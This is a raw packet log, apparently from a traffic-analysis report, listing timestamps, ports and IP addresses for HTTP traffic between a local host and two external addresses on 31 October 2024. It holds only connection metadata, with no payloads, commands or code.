Oct 31, 2024 20:52:46.886395931 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886404991 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886416912 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886421919 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886434078 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886459112 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886504889 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886535883 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886554956 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886565924 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886605024 CET	80	49785	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:46.886610031 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886615992 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886632919 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886641979 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886663914 CET	49785	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:46.886686087 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886687040 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886694908 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886739969 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886882067 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886894941 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886905909 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886926889 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886929035 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886936903 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886946917 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886967897 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886970043 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886996031 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.887039900 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887049913 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887080908 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.887700081 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887710094 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887720108 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887731075 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887739897 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.887742996 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887773037 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.887780905 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.887788057 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.887891054 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888055086 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888083935 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888093948 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888122082 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888129950 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888139009 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888154984 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888164997 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888171911 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888175011 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888189077 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888196945 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888233900 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888238907 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888310909 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888320923 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888330936 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888341904 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888351917 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888354063 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888380051 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888387918 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888396025 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888398886 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888423920 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888447046 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888457060 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888467073 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888484001 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888567924 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888586044 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888597965 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888605118 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888608932 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888619900 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888632059 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888633013 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888643026 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888657093 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888684988 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888686895 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888698101 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888730049 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888741016 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888751030 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888761044 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888777971 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888782978 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888832092 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888843060 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888866901 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888890028 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.888899088 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888942003 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888952017 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.888978958 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.889015913 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.889025927 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.889035940 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.889051914 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.889054060 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.889065027 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.889082909 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.889101028 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.891392946 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891443968 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891453981 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891464949 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891474009 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891491890 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.891530037 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.891594887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891635895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891645908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.891696930 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011409044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011425972 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011437893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011455059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011466026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011485100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011487961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011487961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011495113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011506081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011518002 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011531115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011538029 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011538029 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011543036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011554003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011564970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011578083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011578083 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011589050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011600018 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011600971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011619091 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011624098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011636019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011639118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011647940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011678934 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011697054 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011703014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011714935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011723995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011734962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011754036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011756897 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011787891 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011827946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011838913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011847973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011879921 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011914015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.011924028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011934996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011945963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011956930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011969090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011980057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.011991978 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012025118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012025118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012057066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012068033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012078047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012100935 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012185097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012197018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012207031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012217999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012229919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012238979 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012279987 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012279987 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012533903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012595892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012607098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012641907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012670040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012681007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012691021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012702942 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012723923 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012753963 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012792110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012801886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012813091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012824059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012835026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012834072 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012845993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012859106 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012867928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.012870073 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012890100 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.012919903 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013150930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013187885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013199091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013200045 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013231039 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013237000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013250113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013261080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013290882 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013358116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013367891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013376951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013387918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013397932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013410091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013432026 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013432026 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013468981 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013510942 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013526917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013537884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013549089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013561010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013570070 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013571978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013585091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.013591051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013611078 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.013638973 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014106989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014128923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014139891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014175892 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014219046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014230967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014240980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014254093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014266014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014265060 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014278889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014286041 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014297009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014311075 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014334917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014413118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014424086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014432907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014444113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014456034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014458895 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014467955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014489889 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014518976 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.014534950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014545918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014559984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.014595032 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015029907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015081882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015098095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015110016 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015120983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015135050 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015135050 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015167952 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015204906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015216112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015225887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015238047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015249014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015249968 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015280008 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015362978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015378952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015394926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015404940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015415907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015420914 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015428066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015440941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015445948 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015451908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015464067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015465021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.015480995 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.015508890 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.016042948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.016063929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.016074896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.016110897 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.016212940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.016225100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.016233921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.016261101 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.016293049 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.022969007 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037252903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037264109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037269115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037300110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037305117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037309885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037314892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037416935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037426949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037436962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037446022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037447929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037461042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037493944 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037493944 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037606001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037616968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037626028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037636042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037647009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037657976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037659883 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037668943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037682056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037681103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037693977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037700891 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037734985 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037852049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037863016 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037873983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037885904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.037910938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037910938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.037988901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.038000107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.038039923 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.038130999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.038141012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.038151026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.038165092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.038191080 CET	49766	80	192.168.2.4	185.215.113.16
